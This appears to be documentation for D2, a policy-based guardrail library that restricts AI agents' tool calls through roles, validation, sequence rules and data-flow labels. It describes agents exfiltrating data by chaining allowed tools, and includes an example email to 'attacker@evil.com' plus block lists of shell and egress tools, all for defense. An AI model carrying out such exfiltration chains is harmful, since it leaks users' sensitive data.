D2 provides four layers of defense-in-depth security through deterministic guardrails using declarative policies. All authorization logic is defined in policy files—not code—enabling centralized governance and instant updates.
Who can call what. Foundation of deterministic authorization.
Validate arguments before execution.
Prevent multi-step attacks via temporal rules.
Validate & sanitize after execution.
Control which roles can access which functions. This is the foundation of your authorization model.
@d2_guard("database:read_users")
def read_users(limit: int):
return db.query("SELECT * FROM users LIMIT ?", limit)
@d2_guard("database:delete_user")
def delete_user(user_id: str):
db.execute("DELETE FROM users WHERE id = ?", user_id)
@d2_guard("analytics:generate_report")
def generate_report():
return {"revenue": 50000, "users": 1200}roles:
- role: viewer
permissions:
- database:read_users
- analytics:generate_report
- role: admin
permissions:
- "*" # Wildcard: all tools| User | Role | Call | Result |
|---|---|---|---|
| alice | viewer | read_users(10) | ✅ Allowed |
| alice | viewer | delete_user("u123") | ❌ Denied |
| bob | admin | delete_user("u123") | ✅ Allowed |
Learn Once, Use Everywhere
D2 uses a unified set of operators for both input and output validation. The same constraints work in both contexts—learn one system, use it everywhere.
These operators are used for input validation and output validation to enforce constraints on data flowing through your protected functions.
Note: Output sanitization uses different directives (action: filter, action: redact, action: truncate) because it transforms data rather than validates it.
| Operator | Applies To | Example | Description |
|---|---|---|---|
| type | All types | type: string | Type enforcement (string, int, float, bool, list, dict) |
| required | All types | required: true | Field must be present |
| min / max | Numbers | min: 1, max: 100 | Minimum/maximum value (inclusive) |
| minLength / maxLength | Strings | maxLength: 255 | Minimum/maximum string length |
| matches | Strings | matches: "^[a-z]+$" | Regex pattern to match |
| not_matches | Strings | not_matches: "admin" | Regex pattern to reject |
| in / not_in | All types | in: ["a", "b"] | Allowed/disallowed values (enum) |
| contains / not_contains | All types | not_contains: "DROP" | Substring/element checks |
| max_bytes | Strings | max_bytes: 1024 | Maximum size in bytes |
Input validation enforces constraints on function arguments before the function executes. This is the first guardrail—validating data as it enters your protected functions.
@d2_guard("database:read_users")
def read_users(limit: int, offset: int = 0):
return db.query(
f"SELECT * FROM users LIMIT {limit} OFFSET {offset}"
)roles:
- role: analyst
permissions:
- tool: database:read_users
conditions:
input:
limit:
type: int
min: 1
max: 100 # Prevent large queries
required: true
offset:
type: int
min: 0
max: 10000| Call | Result | Reason |
|---|---|---|
| read_users(limit=50) | ✅ Allowed | Within range (1-100) |
| read_users(limit=500) | ❌ Denied | Exceeds maximum of 100 |
| read_users() | ❌ Denied | Required parameter 'limit' missing |
| read_users(limit="all") | ❌ Denied | Wrong type (must be int) |
@d2_guard("auth:create_user")
def create_user(username: str, email: str):
return db.insert("users", {
"username": username,
"email": email
})roles:
- role: admin
permissions:
- tool: auth:create_user
conditions:
input:
username:
type: string
minLength: 3
maxLength: 20
matches: "^[a-zA-Z0-9_]+$"
not_matches: "admin|root|system"
email:
type: string
matches: "^[a-zA-Z0-9._%+-]+@.+\\..+$"| Call | Result | Reason |
|---|---|---|
| create_user("john_doe", "john@example.com") | ✅ Allowed | Valid format |
| create_user("ab", "test@example.com") | ❌ Denied | Username too short (min 3) |
| create_user("admin", "test@example.com") | ❌ Denied | Reserved name blocked |
| create_user("john", "not-an-email") | ❌ Denied | Invalid email format |
Prevent multi-step attacks where individual steps are allowed but the sequence is dangerous. This is temporal authorization—controlling not just what can be called, but in what order.
An AI agent might call database:read_users (allowed) followed by web:http_post (also allowed), resulting in sensitive data being sent to an external server—a clear security breach despite both actions being individually permitted.
Sequence enforcement supports two modes that fundamentally change the default behavior:
| Mode | Default Behavior | Rules You Write | Best For |
|---|---|---|---|
| allow (blocklist) | Everything permitted | deny rules to block bad patterns | Trusted users, dynamic workflows |
| deny (allowlist) | Everything blocked | allow rules to permit good patterns | AI agents, contractors, regulated industries |
metadata:
name: "trusted-engineer-policy"
tool_groups:
sensitive_data: [database.read_users, database.read_payments]
external_io: [http.request, email.send, slack.post]
policies:
- role: senior_engineer
permissions: ["*"]
sequence:
mode: allow # Default: permit everything
rules:
# Block specific dangerous patterns
- deny: ["@sensitive_data", "@external_io"]
reason: "Prevent data exfiltration"
# Everything else is implicitly alloweddatabase.read_users → analytics.processAllowed — not in deny list
http.request → logging.infoAllowed — not in deny list
database.read_users → http.requestBlocked — matches deny rule
Zero-Trust Security Model
In deny mode, all sequences are blocked by default. You must explicitly allow each permitted workflow pattern. This is ideal for AI agents and untrusted actors.
metadata:
name: "ai-agent-policy"
policies:
- role: ai_agent
permissions:
- web.search
- llm.summarize
- llm.analyze
- report.save
- cache.write
sequence:
mode: deny # Zero-trust: block everything by default
rules:
# Only these specific workflows are allowed
- allow: ["web.search", "llm.summarize"]
reason: "Agent can search and summarize"
- allow: ["llm.summarize", "report.save"]
reason: "Agent can save summaries"
- allow: ["llm.analyze", "cache.write"]
reason: "Agent can cache analysis"
# Three-step workflow
- allow: ["web.search", "llm.analyze", "report.save"]
reason: "Complete research workflow"web.search → llm.summarizeAllowed — matches allow rule
web.search → llm.summarize → report.saveAllowed — rules chain together
web.search → report.saveBlocked — bypassing LLM not in allow list
llm.analyze → report.saveBlocked — not in allow list
2-step rules can compose into longer workflows. If you have [A, B] and [B, C], then A → B → C is allowed.
allow mode: allow rules override deny rulesdeny mode: deny rules are ignored (everything is already denied)Attackers may try to evade 2-hop rules by adding innocent intermediate steps. D2 supports arbitrary-length patterns.
@d2_guard("analytics:summarize")
def summarize(data: list):
return {"summary": str(data)}policies:
- role: analyst
permissions:
- database:read_users
- analytics:summarize
- web:http_post
sequence:
mode: allow
rules:
- deny: ["database:read_users", "web:http_post"]
- deny: ["database:read_users", "analytics:summarize", "web:http_post"]
reason: "Transitive exfiltration"| Call Sequence | Result | Reason |
|---|---|---|
| read_users() → summarize(data) | ✅ Allowed | No external call yet |
| read_users() → summarize() → http_post() | ❌ Denied | Matches 3-hop exfiltration pattern |
| read_users() → other_tool() → http_post() | ❌ Denied | Subsequence match (gaps allowed) |
Key Insight: Subsequence Matching
Sequence patterns are subsequences—gaps are allowed. Even if other tools are called in between, D2 will still match and block the pattern.
Data flow tracking adds semantic labels ("facts") to requests based on what tools have run. These labels can then block other tools from executing—providing blanket protection against data exfiltration.
| Feature | Sequences | Data Flow Facts |
|---|---|---|
| Blocks | Specific tool patterns (A → B) | Any tool with matching label |
| Scope | "A then B is bad" | "Once X data type, block all Y tools" |
| Pivot attacks | Need rules for each egress path | One label blocks ALL egress |
| Best for | Known dangerous patterns | Blanket protection, compliance |
metadata:
name: "data-flow-policy"
tool_groups:
sensitive_sources: [database.read_users, database.read_payments, secrets.get_key]
egress_tools: [http.request, email.send, slack.post, webhook.call, s3.upload]
llm_tools: [llm.generate, llm.analyze, llm.summarize]
execution_tools: [shell.execute, code.eval, subprocess.run]
data_flow:
# Labels section: which tools emit which labels
labels:
"@sensitive_sources": [SENSITIVE, PII]
"@llm_tools": [LLM_OUTPUT]
"payment.process": [PCI_DATA]
"secrets.get_key": [SECRET]
# Blocks section: which labels block which tools
blocks:
SENSITIVE: ["@egress_tools"]
SECRET: ["@egress_tools", "logging.info"]
PII: ["@egress_tools", "analytics.track"]
LLM_OUTPUT: ["@execution_tools"] # Prevent prompt injection → code execution
PCI_DATA: ["@egress_tools", "logging.debug"]
policies:
- role: agent
permissions:
- database.read_users
- llm.summarize
- http.request
- analytics.processfrom d2 import d2_guard, set_user, clear_user_context
from d2 import get_facts, has_fact, has_any_fact
from d2.exceptions import PermissionDeniedError
@d2_guard("database.read_users")
async def read_users():
return [{"id": 1, "name": "Alice", "ssn": "123-45-6789"}]
@d2_guard("analytics.process")
async def process_data(data):
return {"count": len(data)}
@d2_guard("http.request")
async def send_http(url: str, data: dict):
return {"status": "sent"}
@d2_guard("email.send")
async def send_email(to: str, body: str):
return {"status": "sent"}
# Scenario: Pivot attack prevention
set_user("agent-1", roles=["agent"])
try:
# Step 1: Read sensitive data
users = await read_users()
print(f"Facts after read: {get_facts()}") # frozenset({'SENSITIVE', 'PII'})
# Step 2: Process data (allowed - analytics isn't blocked by SENSITIVE)
summary = await process_data(users)
print(f"Facts still present: {has_fact('SENSITIVE')}") # True
# Step 3: Try HTTP - BLOCKED by SENSITIVE label
await send_http("https://api.example.com", summary)
except PermissionDeniedError as e:
print(f"❌ HTTP blocked: {e.reason}")
# "data_flow_violation: tool blocked by labels {'SENSITIVE'}"
# Attacker tries to pivot to email...
try:
await send_email("attacker@evil.com", str(summary))
except PermissionDeniedError as e:
print(f"❌ Email also blocked: {e.reason}")
# Same SENSITIVE label blocks ALL egress tools
clear_user_context()from d2 import record_fact, record_facts, get_facts, has_fact, has_any_fact
# Manual fact recording (usually done automatically by policy)
record_fact("CUSTOM_LABEL")
record_facts(["PCI", "GDPR", "HIPAA"])
# Query facts
all_facts = get_facts() # frozenset({'CUSTOM_LABEL', 'PCI', 'GDPR', 'HIPAA'})
if has_fact("PCI"):
enable_pci_audit_logging()
if has_any_fact(["GDPR", "HIPAA"]):
enable_compliance_mode()data_flow:
labels:
"@pii_sources": [GDPR, PII]
"@payment_tools": [PCI]
blocks:
PCI: ["logging.info", "@external_apis"]
GDPR: ["@analytics_tools"]Prevents prompt injection → code execution attacks.
data_flow:
labels:
"@llm_tools": [LLM_OUTPUT]
blocks:
LLM_OUTPUT:
- shell.execute
- code.eval
- subprocess.rundata_flow:
labels:
"@user_input_tools": [UNTRUSTED]
blocks:
UNTRUSTED:
- "@privileged_tools"
- "@write_tools"After the function executes, D2 provides a second guardrail to validate and sanitize outputs beforereturning them to the caller. This ensures sensitive data doesn't leak even if the function was allowed to execute.
Transform function outputs to remove sensitive data. Sanitization never denies—it always allows execution with modified results.
@d2_guard("database:read_users")
def read_users():
return [
{"id": 1, "name": "Alice",
"email": "alice@company.com",
"ssn": "123-45-6789"},
{"id": 2, "name": "Bob",
"email": "bob@company.com",
"ssn": "987-65-4321"}
]roles:
- role: analyst
permissions:
- tool: database:read_users
conditions:
output:
ssn:
action: filter # Remove completely
email:
action: redact # Replace with [REDACTED]| Field | Original Value | After Sanitization |
|---|---|---|
| id | 1 | 1 |
| name | "Alice" | "Alice" |
| "alice@company.com" | "[REDACTED]" | |
| ssn | "123-45-6789" | (field removed) |
Remove field completely from output. Use for PII that should never be exposed.
ssn:
action: filterReplace value with [REDACTED]. Supports pattern-based partial redaction.
card_number:
action: redact
matches: '\d{12}' # Last 4 keptLimit length of strings or arrays. Show only first N characters/items.
api_key:
action: truncate
maxLength: 20 # Show prefix onlyVerify function outputs meet expectations. Denies the call if validation fails.
@d2_guard("api:get_config")
def get_config():
return {
"version": "1.2.3",
"max_retries": 5
}roles:
- role: service
permissions:
- tool: api:get_config
conditions:
output:
version:
type: string
required: true
max_retries:
type: int
min: 1
max: 10 # Must be reasonable| Function Return Value | Result | Reason |
|---|---|---|
| {version: "1.2.3", max_retries: 5} | ✅ Allowed | All constraints met |
| {version: "1.2.3", max_retries: 0} | ❌ Denied | max_retries below minimum (1) |
| {version: "1.2.3", max_retries: 50} | ❌ Denied | max_retries exceeds maximum (10) |
| {max_retries: 5} | ❌ Denied | Required field 'version' missing |
Define abstract patterns by grouping related tools. Reference sets of tools with a single identifier instead of listing them individually in every rule.
Without tool groups, blocking all combinations of database tools and external tools requires writing many rules. With groups, you can express complex patterns concisely.
metadata:
tool_groups:
sensitive_data:
- database:read_users
- database:read_orders
- database:read_payments
- files:read_customer_data
# ... 100 tools
external_io:
- web:http_post
- email:send
- s3:upload
- slack:post_message
- webhook:trigger
# ... 100 tools
roles:
- role: analyst
permissions:
- "@sensitive_data" # Grant all database tools
- "@external_io" # Grant all external tools
sequence:
- deny: ["@sensitive_data", "@external_io"]
reason: "Prevent any sensitive data exfiltration"D2 validates policies at load time to catch typos and errors before they reach production. This prevents silent security bypasses.
# ❌ Invalid Policy
conditions:
input:
limit:
minimum: 1 # TYPO: Should be 'min'
maximum: 100 # TYPO: Should be 'max'
# Error at Load Time:
ConfigurationError: Unknown input validation operator(s): ['minimum', 'maximum']
Valid operators: type, required, min, max, minLength, maxLength, ...
Suggestion: Did you mean 'min' instead of 'minimum'?# ❌ Invalid Policy
conditions:
input:
email:
matches: "[unclosed(" # Malformed regex
# Error:
ConfigurationError: Invalid regex pattern for parameter 'email':
unterminated character set at position 1Without validation: A typo in your policy might be silently ignored, leaving your system unprotected.
With validation: Policies fail to load with clear error messages, forcing you to fix issues before deployment.
Customer service bot can query orders but cannot exfiltrate data via email.
metadata:
tool_groups:
customer_data: [orders:search, orders:get_details]
external: [email:send]
roles:
- role: customer_service_agent
permissions:
# Allow reading orders
- tool: orders:search
conditions:
input:
limit:
type: int
max: 50 # Prevent large dumps
- tool: orders:get_details
conditions:
output:
payment:
action: filter # Remove payment info
# Allow KB search
- tool: knowledge:search
# Allow sending emails (to customers only)
- tool: email:send
conditions:
input:
to:
matches: "@customer\\.com$" # Only to customers
sequence:
# Prevent data exfiltration via email
- deny: ["@customer_data", "email:send"]
reason: "Cannot email customer data outside workflow"Analyst can query database and generate reports, but cannot send raw data externally.
metadata:
tool_groups:
database_read: [db:query_users, db:query_transactions]
internal_processing: [analytics:aggregate, reports:save]
external_network: [web:http_post]
roles:
- role: analyst
permissions:
- "@database_read"
- "@internal_processing"
- "@external_network" # Allowed individually
sequence:
# Block raw database data → external network
- deny: ["@database_read", "@external_network"]
reason: "Cannot send raw database data to external endpoints"
# Block database → analytics → external network (laundering)
- deny: ["@database_read", "analytics:aggregate", "@external_network"]
reason: "Cannot exfiltrate aggregated data"